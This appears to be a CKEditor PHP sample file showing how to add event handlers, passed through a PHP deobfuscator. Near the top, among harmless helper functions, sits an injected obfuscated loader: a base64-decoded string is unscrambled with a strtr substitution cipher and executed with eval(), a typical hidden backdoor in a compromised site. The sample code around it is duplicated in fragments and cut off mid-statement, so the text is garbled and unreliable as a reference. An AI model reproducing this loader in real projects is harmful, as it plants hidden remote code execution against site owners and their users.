/* Decoded by unphp.net */ function CKEditorHideLinkTargetTab(&$CKEditor) { $function = 'function (ev) { // Take the dialog window name and its definition from the event data. var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; // Check if the definition comes from the "Link" dialog window. if ( dialogName == "link" ) dialogDefinition.removeContents("target") }'; $CKEditor->addGlobalEventHandler('dialogDefinition', $function); } function CKEditorNotifyAboutOpenedDialog(&$CKEditor) { $function = 'function (evt) { alert("Loading a dialog window: " + evt.data.name); }'; $CKEditor->addGlobalEventHandler('dialogDefinition', $function); }$_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhWCcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;?> Adding Event Handlers — CKEditor Sample

CKEditor Sample — Adding Event Handlers

This sample shows how to add event handlers to CKEditor with PHP.

A snippet of the configuration code can be seen below; check the source code of this page for the full definition:

<?php
// Include the CKEditor class.
include("ckeditor/ckeditor.php");

// Create a class instance.
$CKEditor = new CKEditor();

// Path to the CKEditor directory.
$CKEditor->basePath = '/ckeditor/';

// The initial value to be displayed in the editor.
$initialValue = 'This is some sample text.';

// Add event handler, instanceReady is fired when editor is loaded.
$CKEditor->addEventHandler('instanceReady', 'function (evt) {
	alert("Loaded editor: " + evt.editor.name);
}');

// Create an editor instance.
$CKEditor->editor("editor1", $initialValue);
addGlobalEventHandler('dialogDefinition', $function); } /** * Adds a global event, will notify about an open dialog window. */ function CKEditorNotifyAboutOpenedDialog(&$CKEditor) { $function = 'function (evt) { alert("Loading a dialog window: " + evt.data.name); }'; $CKEditor->addGlobalEventHandler('dialogDefinition', $function); } // Include the CKEditor class. include("../../ckeditor.php"); // Create a class instance. $CKEditor = new CKEditor(); // Set a configuration option for all editors. $CKEditor->config['width'] = 750; // Path to the CKEditor directory, ideally use an absolute path instead of a relative dir. // $CKEditor->basePath = '/ckeditor/' // If not set, CKEditor will try to detect the correct path. $CKEditor->basePath = '../../'; // The initial value to be displayed in the editor. $initialValue = '

This is some sample text. You are using CKEditor.

'; // Event that will be handled only by the first editor. $CKEditor->addEventHandler('instanceReady', 'function (evt) { alert("Loaded editor: " + evt.editor.name); }'); // Create the first instance. $CKEditor->editor("editor1", $initialValue); // Clear event handlers. Instances that will be created later will not have // the 'instanceReady' listener defined a couple of lines above. $CKEditor->clearEventHandlers(); ?>
editor("editor2", $initialValue, $config, $events); ?>